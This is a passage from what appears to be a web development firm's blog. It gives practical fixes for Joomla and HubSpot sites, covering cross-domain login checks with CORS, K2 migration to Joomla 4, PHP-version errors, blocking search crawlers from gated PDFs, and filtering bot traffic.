The above code did not work – instead the JavaScript console complained about CORS (which stands for Cross-Origin Resource Sharing). “Easy”, we thought. Let’s fix that CORS! Let’s just add the following code to the .htaccess of the website (where we have the check-user-login.php script):

<IfModule mod_headers.c>
	SetEnvIf Origin "http(s)?://(www\.)?(clientexternaldomain.com)$" AccessControlAllowOrigin=$0
	Header add Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
</IfModule>

The above fixed the main CORS problem, but we had another problem – the script was always returning 0. It turned out that we had 1) to tell the JavaScript code on the external server that we need to send the cookies, and 2) we need to tell the source website (where we have the check-user-login.php script) to accept cross site cookies over a secure connection.

The first part was resolved by modifying the checkUserLogin function to the following:

function checkUserLogin(){
	$.ajax({
		url: "https://[URL]/check-user-login.php",
		cache: false,
		type: "GET",
		xhrFields: { withCredentials: true },
		success: function(data) {
			if (data == '1'){
				console.log('User is logged in');
			}
			else{
				console.log('User is not logged in');
			}
		}
	});
}

Notice the addition of the xhrFields: { withCredentials: true }, line.

The second part was resolved by adding the following code to the very beginning of the check-user-login.php file:

ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', 1);
header('Access-Control-Allow-Credentials: true');

We then tried to see if the external website was able to check if the Joomla user is logged in to the main website, and, it worked! Well, sometimes it worked…

We spent a lot of time and tried many things in our quest to resolve (or at least understand) the problem – but none worked – we ended up with the same stability issues – sometimes the login worked, other times it didn’t (to be fair [or unfair?] most of the times it didn’t). Eventually (after so much time), we had this great idea! Here’s what we did:

  • We created an article on the source (main) Joomla website, and we ensured that only registered users can access it. The name of the article was Check User Login.
  • The article only had the following content “Success”.
  • We created a menu item, pointing to that article, and we named it Check User Login, so the direct URL to that article was https://[URL]/check-user-login.html.
  • We assigned the menu item to a near blank template called user-login where the main index.php of that template had the following code:

    defined('_JEXEC') or die;
    <jdoc:include type="component" />

    and the article layout override file (e.g. the default.php file under user-login/html/com_content/article folder) had the following code:

    defined('_JEXEC') or die;
    $objUser= JFactory::getUser();
    if (empty($objUser->id))
    	die('Fail');
    die($this->item->introtext);

  • We changed the JS function to use check-user-login.html instead of check-user-login.php.
  • We added (for CORS reasons) the following code to the defines.php file at the site root (e.g. at the same level of the root index.php file):

    $strCurrentURL = 'https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    if (stripos($strCurrentURL , 'https://[URL]/check-user-login.html') === 0){
    	ini_set('session.cookie_samesite', 'None');
    	ini_set('session.cookie_secure', 1);
    	header('Access-Control-Allow-Credentials: true');
    }

    Note that we initially forgot about doing the above step and immediately jumped to the next step, but we were “greeted” with the following error in the JS console:

    Access to XMLHttpRequest at [URL] from origin [clientexternaldomain] has been blocked by CORS policy: The value of the ‘Access-Control-Allow-Credentials’ header in the response is ” which must be ‘true’ when the request’s credentials mode is ‘include’. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

  • We checked whether the feature is now stable, and it was! Hooray! We solved the problem!

As mentioned at the very beginning of the article – we thought this was an easy task (and, in our opinion, it should have been an easy task), but quirks in JavaScript, Joomla, browsers, and the way cookies work in general made this a really challenging one, but it’s no longer challenging for you, our dear reader (now that you have the secret recipe). But, if you need help with the implementation, or if you think this whole coding scheme is way outside your realm, then you can always contact us. Our fees are reasonable and we are possibly the friendliest* programmers on planet earth.

*Internal data.

The Case Against Joomla’s “Redirect” Extension

Almost a decade ago, we explained how Joomla’s Redirect Manager extension works. Fast forward to now (April 2023), nothing really has changed; the system still works in the same weird and inefficient way in the latest version of Joomla (4.2.9 at the time of writing this article). But not only it is weird and inefficient, it can also be harmful. How?

Well, let us explain the scenario that we just experienced with one of our new clients…

A few days ago, and on a very rainy afternoon, the phone rang… It was a new client who told us that their news website (they had a bit over 70K articles) was intermittently slow. A quick investigation revealed that many legitimate bots constantly tried to index non-existent pages. This led to the following avalanche of events:

  • The “System -> Redirect” plugin was triggered and tried to find a matching page through a bizarre heuristic.
  • If it did, then an entry linking the old (non-existent) URL to the new one was added to the database and the system redirected back to that new page.
  • If it didn’t, then the system just wasted some processing power.

As you can see, whether a match (assuming it was really a match) was found or not, there was an unnecessary overhead that increased the server load. The irony is that the client is not even interested in those redirects – the client is happy with a 404 page for those non-existent links.

So, what did we do to fix the problem?

Simple! We just disabled the “System -> Redirect” plugin and all was fine – and this is our recommendation to you, our dear reader, if you don’t care about “all of the features” of the Redirect extension, then just disable it, or, at the very least, disable the “System -> Redirect” plugin.

We hope you found this light post useful! If you’re having any issues with the performance of your Joomla website, then just contact us. We’ll be happy to help and we won’t cost you much!

Migrating K2 to Joomla 4 – Why We Gave Up!

Note: Needless to say, it is important that you backup your website before migrating to Joomla 4.

Warning: Before migrating to Joomla 4 from Joomla 3, it is critical that K2 (as an extension) is completely disabled, otherwise, you will end up with a broken website and you will need to restart the migration from a backup.

Free Advice: K2 is just not compatible with Joomla 4 (at the time of writing, which is November 2022), so do not waste your time.

We love (or loved?) K2 – it is (was?) one of the most wonderful extensions out there, but, for some weird reason, the K2 developers haven’t created a Joomla 4 version yet (they are still promising they will eventually do it), and so we decided to do this ourselves for one of our clients. So, how did it go for us?

Well, we started working on a website which had about 50K articles – the content system was powered by K2, although none of the exclusive K2 features was used (so there was really no need for using K2). We did some research and discovered that no K2 compatible version was released for Joomla 4 yet. “Easy”, we thought – we’ll make it compatible ourselves – “Shouldn’t take long, right?”. Well, we couldn’t be more wrong.

We started working on a copy of the website, we disabled K2, performed the website migration to Joomla 4, and then re-enabled K2. We visited the frontend and we saw the first error:

Call to undefined method Joomla\CMS\Application\AdministratorApplication::isSite()

“Easy”, we said, we opened the k2.php file located under plugins/system/k2 folder and replaced:

if ($app->isSite()) {

with:

if ($app->isClient('site')) {

We refreshed the homepage and we saw another error, which was this one:

Class “JRequest” not found

“That’s a no-brainer”, we thought, and we replaced in the k2.php file which we had already opened before all occurrences of:

JRequest::getCmd, JRequest::getInt, and JRequest::get

with:

Joomla\CMS\Factory::getApplication()->getInput()->get

“That is fun”, we kept saying, but, as time went by and we saw our hairline slowly receding, it slowly became less and less fun and more and more like a torturous whack-a-mole game. Eventually, after a couple of weeks of fixing these errors (some of them were really insane to fix, as some Joomla 3 functions didn’t have a Joomla 4 equivalent, which we’re guessing is one major reason why the K2 developers were delaying the migration to Joomla 4) we had a working frontend, and we noticed, all of a sudden (it wasn’t really “all of a sudden”, but we’re trying to spice this post a bit), that our client uses the K2 backend to add content, which was much harder to work on because of the major template engine difference between Joomla 3 and Joomla 4. In other words, the backend work also had to consist of layout conversion work, which is outside of our realm for sanity reasons. So, while we’re known to have the tenacity of a hungry wild bear holding to the last salmon on a cold and slow fishing day, we gave up.

So, what did we do next?

We changed strategy altogether; instead of trying to adapt K2 to Joomla 4, we migrated the K2 content to Joomla 4’s core, which was not-a-straightforward process (we will talk about this in the near future), but infinitely less complex than getting K2 to work flawlessly on Joomla 4.

Is it worth waiting for the K2 team to develop a Joomla 4 version?

In all fairness, we wouldn’t hold our breath for it as there are several signs that tell us that it just won’t happen. We hope we’re wrong, and we hope it will happen, but for the moment, our only recommendation is to migrate to Joomla’s content system. This is sad, because, as we mentioned in the beginning of this article, and in all of our K2 articles, we love K2, and we really hate to see it being deserted en masse. Note that we may eventually do the migration ourselves, you never know! But for now, if you want to migrate your K2 content to Joomla 4, then you can always contact us. Our fees are reasonable, our work is quick and professional, and we’re in love with Joomla!

“0 Missing field in database: Joomla\CMS\Table\Extension extension_id” Error on Joomla Website

Note: This post partly assumes that your server is running WHM/cPanel. Solutions may differ if your server is running a different platform.

About a week ago, a client approached us and told us that they were having a problem on their corporate website, where they are seeing the following error:

0 Missing field in database: Joomla\CMS\Table\Extension extension_id

Fortunately for that client, we did see this exact problem before, and we know what causes it: it is a combination of PHP update (to PHP 8.1.x), as well as an old Joomla website (<= Joomla 3.10.3). We quickly confirmed our theory after checking the website and the hosting platform.

But how did the problem happen?

Some hosts are over anxious to update their clients to the latest version of anything – unfortunately, many of these hosts do not fully test the applications that their clients have before proceeding with the update (some do not test at all). In the case of our client, the host performed the update on the dedicated server without even telling the client.

So, how did we solve the problem?

Well, there are there three ways to solve the problem:

  1. Manually updating the Joomla website (through FTP/sFTP/shell) to the latest Joomla 3 version: This is the most dangerous method and must be used as a very last resort, simply because a manual update typically causes more problems that it usually solves; one can end up with a much bigger mess if they are not very careful. It is also very important to make a backup of the filesystem and the database before proceeding with such (again, very dangerous) move.
  2. Reverting to a previous version of PHP: This can be done by adding the following lines to the .htaccess file:

    <IfModule mime_module>
      AddHandler application/x-httpd-ea-php74 .php .php7 .phtml
    </IfModule>

    The above code forces the website to use PHP 7.4 (we are assuming that the previous version that the website was using was PHP 7.4 and that this PHP version is still installed).

    You can also revert back to a previous version of PHP at the server level, this can be done by logging in to WHM, and then going to the MultiPHP Manager page, and then selecting the immediately previous PHP version from the drop down next to PHP version. Note that after doing this, you must restart Apache, by going to the Restart Services page, and then clicking on HTTP Server (Apache), and finally clicking on “Yes” to restart the Apache server (it is important that you do this only during off-peak hours).

  3. Copying the “Table.php” file from the most recent version of Joomla 3: This is by far the easiest and most straightforward solution. All you need to do is to download the latest version of Joomla 3 (which is Joomla 3.10.11 at the time of writing this article), extract the folder, and then copy the file libraries/src/Table/Table.php to the corresponding location on your Joomla website. We recommend that, after doing this, you update your Joomla website to the latest Joomla 3 version (this is not necessary, and it is super important that you backup your website [table + database] before proceeding with the update).

As mentioned above, the last solution is the best solution, and, unless you have a problem with it, then we recommend that you try the second solution, and, as a very last resort, try the first solution. If you’re a bit scared of implementing any of the solutions, or if you got stuck while implementing a solution, then you can always contact us. We will be able to fix your website quickly, affordably, and reliably.

Modulo by Zero Error when Migrating to Joomla 4

We are currently migrating a Joomla 3 website to Joomla 4. Among the hundreds of errors that we saw during the migration process, there was this one:

Modulo by Zero

This error was interesting, because it was just weird and very short. It meant that we were dividing by zero somewhere in the code, but where? Before giving you the details of our investigation, let us explain the modulo concept for the non-developers/non-mathematicians who are reading this post.

Modulo means the integer remainder of a division of one number by the other. For example, 9 Modulo 2 (this is written 9 % 2 in PHP code) is 1, 73 Modulo 7 is 3, and 170 Modulo 19 is 18 (19 is a prime number). Of course, some people may think this function is useless, but it is very handy for all developers, and for many of those who work with numbers.

So, what caused the modulo problem?

When we see any problem, we first switch the template to a basic one, to see if the problem is caused by the template (we later disable other extensions until the problem is no more). So, in this scenario, we switched to the Cassiopeia default Joomla 4 template (by the way, in case you are wondering just like we were wondering, Cassiopeia is the name of a constellation) and the problem was suddenly no more. Investigating the problem deeper, we found that it was caused by the following line in the default file of the featured layout:

$rowcount= (((int)$key-1) % (int) $this->columns) +1;

In the previous version of Joomla (Joomla 3), $this->columns used to return a default value of 1 (when left empty in the backend), in Joomla 4, $this->columns returns just empty, which translates to zero when cast to integer. This very change caused the problem.

But how was the problem fixed?

Fixing the problem simply consisted of adding the following 2 lines of code just before the problematic line:

if (empty($this->columns))
	$this->columns = 1;

Of course, there was a big bunch of other problems after fixing this one, but, it was a step in the right direction.

Now if you have the same problem (or any other problem) while trying to migrate your website to Joomla 4, then you can just contact us. Our fees are always competitive, we are very knowledgeable in Joomla, and we are extremely humble (while the last 2 sentences may seem like an oxymoron, they really are not)!

How We Blocked an IP from Accessing HubSpot Pages

It’s Saturday, and we received an interesting email from one of our clients. The client said that someone was manually spamming their HubSpot forms with odd data. HubSpot is good at blocking spammers, but manual spam is really hard to catch. The client asked us to block this person from accessing their HubSpot pages.

There were several obstacles for accomplishing what the client wanted: 1) we didn’t know the IP of the person because HubSpot doesn’t tell us, 2) there is no method to block an IP in HubSpot (you can only block an IP from being tracked), 3) there is no method to block an individual email in HubSpot (you can only block domains), and 4) even if there was a method to block individual emails in HubSpot, it wouldn’t work, because the spammer was using a different email each time they submitted a form.

So what did we do?

There was a service on one of the client’s servers that was called when someone visited any of their HubSpot pages, so, going through the logs helped us determine the IP of the person. That was a first step!

The next step was to block the IP. What we did was that we added the following code to the JavaScript file that is loaded on all the client’s HubSpot pages:

$( document ).ready(function() {
	if ('{{request.remote_ip}}' == 'Offending IP Address')
		document.body.parentElement.innerHTML = 'Blocked';
});

And that’s it! That IP was seeing a blocked message when they were trying to fill out the form.

There are a couple of notes about this solution: 1) This is a JavaScript solution, so it might not be ideal, and 2) using the {{request.remote_ip}} HubL variable results in HubSpot no longer using page caching, which might impact the speed of the page load.

We hope that you found this post useful! If you need help with the implementation, or if you need development work for HubSpot, then please contact us. Our rates are still affordable, our work is still top notch, and we always care for our clients!

How to Disallow Google from Indexing Your HubSpot Gated Documents

Here’s a common scenario: you create a HubSpot landing page with a form. Once people fill in that form, they are redirected to a gated document (possibly an e-book or a whitepaper). The system is simple and works flawlessly, you are happy, and your client is happy! A few weeks later, your clients emails you and tells you that their PDF has been indexed in Google, and now it’s accessible for anyone, without even going through the HubSpot gate.

You do a research, and then you discover that you had to set the “File URL Visibility” to “Public – No-index” by doing the following:

  • Going to the “Marketing” -> “Files and Templates” -> “Files” in HubSpot
  • Clicking on the name of the file affected, e.g. client-file.pdf
  • Setting the “File URL Visibility” to “Public – No-index” in the “File details” side window

So you do that, and you think (and rightly so) that it’s probably too late for this particular file since it’s already indexed by Google, and you apologize to the client, and promise that “this won’t happen in the future”.

Another couple of weeks later, you are asked (by the same client) to host another gated asset (e.g. yet another whitepaper), and so you gladly do it, and you ensure that its visibility is set to “Public – No-index”. You assure the client that it won’t get indexed by Google because you “ensured it won’t”. Yet another couple of weeks later, you get an email from the client complaining that the document is indexed by Google and that people are able to access it directly. How could that happen when you ensured that its visibility is set “Public – No-index”?

You start thinking that you are missing something, maybe the problem is that Google is allowed to index those landing pages? You talk yourself into believing this twisted theory, and so you disallow Google from indexing the landing pages altogether (after all, 99% of the traffic to those landing pages comes from direct email marketing) by going to the “Settings” page in HubSpot, and then clicking on “Website” -> “Pages” on the left navigation bar, and then clicking on the “SEO & Crawlers” tab, and finally adding the following to the robots.txt file:

User-agent: *
Disallow: /

You feel considerably less confident this time, but you still inform the client that “you missed something” last time, and that the problem will not happen again. The client is quickly convinced (because of all of these years of building that precious trust with you), and asks you to host another gated content, which you do, and you ensure that the file’s visibility is set to “Public – No-index” and that Google isn’t even allowed to index any landing page.

5 days later, your left (or right, or both) eye immediately start twitching when you hear the phone ringing and you see the client’s number; it’s not time for another gated content so there must be something wrong. You answer the phone and your client suddenly has a completely different tone. You apologize for nearly 15 minutes and you say “Do not worry! I’m on it”, just before hanging up.

You start biting your nails/lips and you start apologizing to every single person you’ve hurt intentionally or unintentionally since 1st grade. You then go for a walk and are suddenly gentle and kind to everyone you see – maybe that would lift the curse?

But it’s not a curse, in fact, the problem is from both HubSpot and Google. The latter chooses to disrespect, more often than not, the robots.txt directives, and the former (HubSpot) is gullible enough to believe that Google will respect those directives.

So what’s the real solution here?

Well, the solution is to disallow Google (and other search engines) from indexing the assets, even if they wanted to, and that can only be done if the asset is hosted on a server you fully control, because it must be done at the .htaccess level.

In other words, you will need to go into one of your servers, create a directory, upload your assets (ultimately link to those assets from your HubSpot landing pages), and then create an .htaccess file with the following rules:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^(.*)googlebot(.*)$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)bingbot(.*)$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)alexa(.*)$ [NC]
RewriteRule .* - [F,L]

This should prevent Google from even attempting to index those PDFs. Adding a robots.txt file to that directory with the following code…

User-agent: *
Disallow: /

…should also help (it will prevent other bots from indexing the assets).

So there you go, the right way of hosting gated assets! If you need help with deploying the above, or for any other HubSpot help, then please to contact us. Our fees are super affordable, we are ready to help, and we have solid and proven HubSpot experience.

The Elusive “Thank You” Message On HubSpot Forms

Say you have a HubSpot form that you want people to fill in. The HubSpot form that you have is very long with many input fields that you need for your business. You embed it on one of your pages and then you send out an email with a link to that page. People fill in the form, and then they see blank. They become confused and possibly disinterested because of the perceived unreliability. A small percentage will also give your business a call saying “I tried to submit your form but I got a blank page”.

In reality, the page wasn’t a blank page, but the “Thank You” message was at the very top of the form, which caused the confusion, since the user who filled in the form was at its very bottom. This is a very annoying problem which seems to be ignored by HubSpot (possibly because they can’t find a generic method to solve it).

But there’s always a workaround. The workaround consists of leveraging HubSpot’s onFormSubmitted event to position the “Thank You” message in the center of the page, this can be done by getting the size of the div containing the “Thank You” message (in jQuery), and then getting the size of the screen, subtracting the former from the latter, dividing the number by 2, scrolling to the position of the “Thank You” message, adding the divided number to the top of the “Thank You” message, and finally setting the top of the “Thank You” message to the number that was just returned.

We agree, this is a lot of jumping through hoops for a feature that should have existed by default, but it is what it is.

We hope that you found this post informative and useful. If you need help with HubSpot development, then please contact us. Our fees are affordable, our work is clean, and we finish things!

How Leads Can Download Multiple Gated Assets with One HubSpot Form

Here’s the problem: A client of ours has many gated whitepapers on HubSpot, and they wanted to group them into pages where each page contains the related whitepapers, by topic. So, in essence, the HubSpot landing page consists of a simple lead generation form which, at the end, contains a checkbox list consisting of whitepaper names that belong to similar topics. What the client wanted was to 1) allow the users to automatically download all the selected whitepapers when they click on the “Submit” button on the HubSpot form, and 2) send them an email containing the list of the whitepapers that they have just downloaded and where they can download them again (e.g. a list of whitepaper title/link).

At first glance, what our client wanted seemed impossible, but, after analyzing their request, we broke it down to 2 possible tasks (still complex, but not impossible):

1- For the automatic download on submit, we leveraged the onFormSubmit HubSpot event (which we have used before for creating a multi-step form in HubSpot), where we sent, through AJAX, the request to a PHP script on one of the client’s servers, which processed the request by generating a zip file containing the PDFs that the client selected, and then pushed the zip file back to the browser as a download.

2- For the email, we created a workflow which triggered a webhook on one of the client’s servers, and the latter was responsible for sending the email to the lead.

Of course, the big question is how we made it generic? Well, at first, we didn’t as the client had a preset list of whitepapers to be included on each page. But then, when the client wanted to modify the lists, we knew that the best option would be to make it generic rather than fiddling with the code each we wanted to add/delete a whitepaper.

So, again, how did we make it generic?

Well, first we ensured that each option in the checkbox list had a value that is the name of the campaign of the associated HubSpot form. Then, in both of our processing scripts (the one that handles the automatic download and the one that handles the email sending) we grabbed the title of the page and the associated PDF file for each campaign by searching in the HubSpot page dump.

We hope that you found this post useful and fun (implementing this feature and writing about it were both fun for us). If you need help with the implementation, then please contact us. Our rates are right, our work is top notch, and we just adore HubSpot!

How We Created a Multi-Step Form in HubSpot

As you may already know, HubSpot only allows for single-step forms. They don’t have a built-in function to create multi-step forms. They do advertise a workaround, which is creating two landing pages, each containing a form with a set of fields, where the first page, when submitted, is redirected to the second page using the Redirect to Another Page option.

This solution is not very elegant, for the following reasons: 1) if you want to embed the form on one of your pages, you will need to use an iframe, which is always a horrible option and 2) no real connection is done between the forms (for example, it might be that some of the fields on the second form are connected to the first form).

At itoctopus, we developed a much more cleaner solution, mainly using jquery. Here’s what we did:

  1. We embedded 2 HubSpot forms on the same page.
  2. We hid the second form using the display:none CSS styling.

  3. Using the onFormSubmit event of the first form, we got the value of the fields that were filled in the first form, and passed the relevant values to the second form.

  4. Using the onFormSubmitted event of the first form, we hid the first form and we showed the second form using the display:block styling.

Of course, this took us some time to figure out and ensure that the solution is solid, but the end result was just loved by the client, as it was really smooth!

As you can see from this post, we really are experts in HubSpot development and can help you achieve the results that you want. If you have a complex task in HubSpot that you think it can’t be done, then we probably can do it, so go ahead, contact us. Note that our affordable fees apply!

How We Added HubSpot Pages As Events in Google

A client of ours asked us to list some of their HubSpot pages as virtual events in Google. These pages were mainly webinar registration forms. To the untrained eye, the task seems to be very simple, because it consists of simply adding some structured data in the HTML as described by Google here. In reality, the task was a small project. You see, the issue is that we mainly needed to know the start date and the end date of the webinar, both were included in the text of the page, but cannot be easily parsed. The complexity of the system meant that we couldn’t rely on HubL (HubSpot’s scripting language) to do the job. So, how did we do it?

Well, we first created a system that will grab all the pages from HubSpot and parse them (this was done in a cron on a daily basis). So, for each page, we had the URL, the title, the description, the start date (of the webinar), and the end date. We then created a service that will get the URL of the page as input, and will generate the structured data based on the URL. Finally, on HubSpot’s end, we added to the global JavaScript file a simple code that will grab, through jquery, the structured data for the current URL, and that will inject it in the head in a json script JS tag. That was it and it worked!

Of course, it seems much easier now that we know how to do it, but this task was very complex to implement, it was also somehow scary as we weren’t sure if Google will be able to parse dynamically generated structured data after full page load. Luckily, it did!

We hope that you found this post informative. If you need help with a complex task related to HubSpot, then please contact us. We are here to help, we adore HubSpot, and our fees are still super affordable (get them while they last!).

Increasing K2’s Limit to More than 100 Items

While working on a Joomla website powered by K2, we noticed that one of the pages, containing a big list of company names, is only limited to display the first 100 companies. We checked the backend of the Joomla website, and the limit was set to display 1,000 items for that particular category. We increased the limit on the parent category, but that didn’t work: only the first 100 items were displayed. What could be the reason?

We traced the issue and this trace led us to the file view.html which is located under the components/com_k2/views/itemlist folder. The file had the interesting few lines:

// Protect from large limit requests
if ($limit > 100) {
	$limit = 100;
}

Clearly, the K2 developers thought that whoever sets the limit about 100 must be mistaken, and so they capped the limit to 100 (this subtle cap was later introduced – it wasn’t there before). Removing the above code solved the problem.

Note that we did contact the K2 team over twitter – and they said they will make this (hard-set limit) configurable in the next K2 update.

If you are experiencing the weird 100 item limit in K2, then try the above, this should solve the problem. If you would like help with the fix, or if you need help fixing any other Joomla issue, then please contact us. We are always here to help, our prices are super affordable, and our work is really clean!

Joomla’s Biggest Drawback: Sorting

We manage very large Joomla installations, and a constant question we get from editors working on these websites is: “I am trying to order articles on my website, but it is not working, how do we do that?”

And then we start to explain that first they need to choose the category when listing articles in the backend, and then they need to click on the arrow next to the first checkbox to sort descending, and finally they need to drag and drop articles to sort them. It feels awkward every time we explain the process, because we know that it is confusing and that there must be a better way of doing this order (keep in mind that there is an extra step for many others, and it is clearing the Joomla cache – our clients don’t need to go through this step because we have a plugin that will automatically clear the cache for them). In our opinion, the ordering should be done at the article level, and not using a drag and drop.

Each article must have 2 ordering fields: “Order on the homepage” and “Order on the category”. “Order on the homepage” will be a dropdown that will dictate the ordering of the article on the homepage, “Order on the category” will be a dropdown that will dictate the ordering of the article on the category page (the category that the article belongs to). This will get rid of the “drag and drop” confusion, which, in our opinion, is a major drawback in Joomla and one of the main reasons why people go elsewhere.

We hope you found this post useful and informative. If you are interested in becoming one of our clients, then please contact us. Our fees are right, our work is clean, and we are fully dedicated to our clients!

Our New Passion: Integrations

For the past decade, our (almost) exclusive focus was the Joomla product. However, in the past few years, we suffered from an increasing appetite to a specific marketing niche: integrations. We tried to stem this appetite by avoiding such jobs as much as we can, we tried to quench it by taking as many integrations as we possibly could, but both attempts were futile. We always felt the same way that Claudia felt when she (in)famously said in “Interview with the Vampire”: I want some more! and our Joomla conscience gave us the same look that was on Louis’ face when she said that (you can ignore this whole sentence if you haven’t watched the movie).

We know exactly why we love integrations and why we can’t get enough of them: they’re challenging and they are so much fun! Have you tried to integrate HubSpot with Tealium with Google Ads? We did, and it was so so exciting! Integrations are also about optimization, security, data integrity, etc… They really encapsulate every aspect of programming out there!

But why do we feel guilty about this?

It’s not that we feel guilty, it’s that we feel that this increasing passion is at the expense of another passion of ours, which is Joomla. But, we shouldn’t feel guilty, since most of the integrations that we are doing revolve around Joomla (some our integrations are directly with Joomla, like this one). Still, there is our Joomla conscience that it is telling us: “you don’t love me as before”, but we still do, and, as strange as it might seem, we are doing it for you Joomla. In fact, we believe that any growth in our business in any direction will solidify our Joomla interests, pushing us to come up with ways to make the Joomla product even more versatile and robust for enterprises.

So there you have it, we are now at peace with ourselves, we are still super passionate with Joomla, but we have a new passion, which is integrations! Satisfied, Joomla conscience?

Weird Error While Updating a Joomla Website

While trying to update a Joomla website to the latest version we encountered the following weird error:

Could not open /home/[user]/public_html/administrator/modules/mod_latestactions/mod_latestactions.xml for writing

At first glance, we didn’t know what that error was because we didn’t know that the module mod_latestactions existed in Joomla. A quick research revealed that this was a new module and was used for displaying the latest admin actions in the backend (e.g. admin abc did action xyz), but why did the update have a problem creating that module?

A research revealed that this issue was caused by a permission setting: Apache just didn’t have permissions to write to that folder, and it was because of the chattr +i command (which makes files/folders immutable) that we explained in details here. Fixing the problem consisted of simply removing the immutable setting from all the Joomla folders before updating the website (this was done by issuing the chattr -i command).

As usual, if you are experiencing the above problem and if you were not able to fix it yourself by using our guide, then please contact us. Our fees are right, our work is clean, and we always aim for long term and strong relationships with our clients.

Adding Complex Logic to HubSpot Emails

One of HubSpot’s powerful features is the ability to have a workflow send an email. Typically, the workflow contains the logic (if-then-else), and the email contains some dynamic data, such as the first name of the person, the title of the person, the company that the person works in, etc… However, the email cannot contain complex logic, such as “show this section if someone has X field set to ‘ABC'”, leading to having another version of the email and another workflow just to have this functionality.

There is a workaround, however, to do the above. The workaround consists of leveraging the “Smart Content” feature that HubSpot supports in all of its templates, including its email templates. So, in order to show a specific section in the email for people with a field (property) set to a specific value the following must be done:

  • A dynamic list that contains the aforementioned property (set to the specific value) is created.
  • The module (section) in the email that should be displayed only when the property above is set to a specific value is converted to “Smart Content”.
  • The “Smart Content” module is set to display only when the client (the person who receives the email) is a member of the list created in the first step.
  • That’s it!

As you can see, having some complex logic (such as displaying a module when a property is set to a specific value) in your HubSpot email is possible, and is relatively not that hard. Having said that, we do reckon that it is not straightforward, so if you need help with implementing the above on your website, then all you need to do is to contact us. Our rates are affordable, our work is professional, and we love working with new (and old) clients!

How We Are Handling Traffic from Bots

An emerging and an extremely annoying issue that (almost all) large websites are currently experiencing is bot traffic. Of course, bot traffic has always been an issue, but it was, to a certain extent, manageable and way less vexing. However, recently, bot traffic has become very aggressive, especially on high traffic websites. So why this is becoming a major issue all of a sudden?

A couple of months ago, one of our clients asked us to check the validity of their traffic for the previous day as reported by Google Analytics. In case you don’t know, Google Analytics is known for “trying” to discount bot traffic for their stats, but the numbers that the client was seeing were way out of their daily range. So we checked their data and we noticed that there was a huge traffic from cities with very low population, such as Boardman, OR. A quick examination revealed that traffic from most of these cities originated from an Amazon network, and so we filtered traffic from Amazon networks in Google Analytics. That made things much better, but later on, rogue IPs from other networks started hitting the website, and so the whack-a-mole game started. It was fun at first, but later it became tedious and annoying. So we decided to automate the process:

  • We got the top IPs visiting the website using a Linux shell script.
  • Any IP hitting the website with more than 10K visits was checked for its network and its location (the checking was done through API).
  • If it was outside the US, then it was automatically banned (through the .htaccess file).
  • If it was inside the US, then it was sent for human examination, where a human must decide on whether traffic from this IP was automated or coming from a legitimate organization (highly unlikely, but still possible).

Adopting the above process (which was mostly automated) lessened the load on our clients’ servers and reduced those fake impressions substantially.

Yes – we noticed that we didn’t use the word Joomla anywhere in the article, but really this an across the board problem and affecting all kinds of CMS’s.

We hope that you found our little post useful. If you are running into the same issue, then please contact us. Our rates are fair, our work is scientific, and our Sherlock Holmes investigative techniques are improving by the day!

Filtering Out Bad/Bot Traffic in Google Analytics

A couple of weeks ago, we received an interesting email from the marketing team of a high traffic Joomla website: they told us that their traffic in Google Analytics was increasing substantially, and while they were excited about the issue, they were thinking that it was too good to be true, and so they wanted us to investigate the issue.

As usual, we gladly obliged. At first glance, we noticed nothing – everything was normal. On second glance, however, we noticed that they were receiving a huge amount of traffic from two not-so-huge cities: Boardman and Ashburn. Boardman, for example, is a city in Orgeon, and has a population of 3,220 – but they were receiving about 80K visitors each day from that city. Either the people in Boardman, OR are obsessed with this website and are accessing it from about 25 different devices each and every day, or not. Our first instinct was to go with the latter theory (“not”), and so we investigated the issue a bit more, and it turned out that the Amazon network was sending out automatic traffic from this city. This was also the same for Ashburn. But why would Amazon do that?

Additional investigation revealed that some anti-virus companies were using the Amazon network to scan each and every element that the user was seeing in order to ensure that everything was clean. So, for each person using some types of anti-virus and visiting our client’s website, there is another visit from a different IP using a different user agent from the Amazon network (sometimes, there are multiple bot visits). Clearly, that bot traffic was fake and needed to be excluded from Google Analytics. Here’s how we did it:

– We logged in to Google Analytics.
– We clicked on the settings icon at the bottom left.
– We clicked on All Filters
– We clicked on Add Filter
– We typed in “Amazon” in the Filter Name
– We chose “Predefined” for Filter Type
We chose “Exclude”, “traffic from the ISP domain”, “that contain” from the 3 dropdowns next to each other.
– We typed in “amazon.com” in the ISP Domain field.
– We added the view under Apply Filter to Views and then we clicked on Save.

That’s it! After doing that, the traffic from Boardman and Ashburn was no longer included in Google Analytics (the effect was not retroactive though, so data from before the filter still included traffic from those cities).

We hope that you found our post useful. If you need help with the implementation, or if you need help investigating a similar issue, then all you need to is to contact us. Our fees are super affordable, our work is super clean, and our experience is proven!

Before Optimizing Your Joomla Website

At itoctopus, we have optimized many, many Joomla sites and we have written many articles on optimizing Joomla sites. But, before optimizing any Joomla website, we do check/ask about the server powering the website. If we think the server is too weak for our beloved CMS, then we recommend that the client upgrade to a better server before even hiring us. In fact, recommend is such a weak word – we insist!

Let us give you a quick example: yesterday, we got a call from a very nice client telling us that his server comes to a crawl when they send out newsletters. He told us that his peak traffic is 5K to 7K visitors, and that peak traffic happens once every one or two month (when they send out the newsletters). On normal days they get only a few hundred visitors. He told us that he thinks that there is something from within Joomla causing this issue, but he also told us that the CMS was powered by a server with 2GB of RAM. Yes, you read that right, that’s two gigs of RAM (by the way, is it gig as in garage or jig as in giraffe?), which was really odd. We immediately stated that we can’t work on such server, and that they must upgrade to a server with at least 16GB of RAM in order for us to work on the server.

So, why did we do that?

First, we know what Joomla is and we know that 2GB of RAM is not nearly enough, even for a small website. Keep in mind that the 2GB of RAM are not solely dedicated to the web server and the database server, but there are many other resources sharing it. In our opinion, a small Joomla website must run on a 16GB server, and a large Joomla site must run on a 256GB server.

Second, in most of these cases, upgrading to a better server typically solves the problem. This will of course save the client money on the short run and on the long run, despite the additional monthly overhead for the hosting company.

Third, debugging and working on slow servers and/or servers with low memory (typically a slow server is also a server with low memory) is not very efficient, as we will also be fighting the restricted environment (and not just some rogue plugin on the Joomla website).

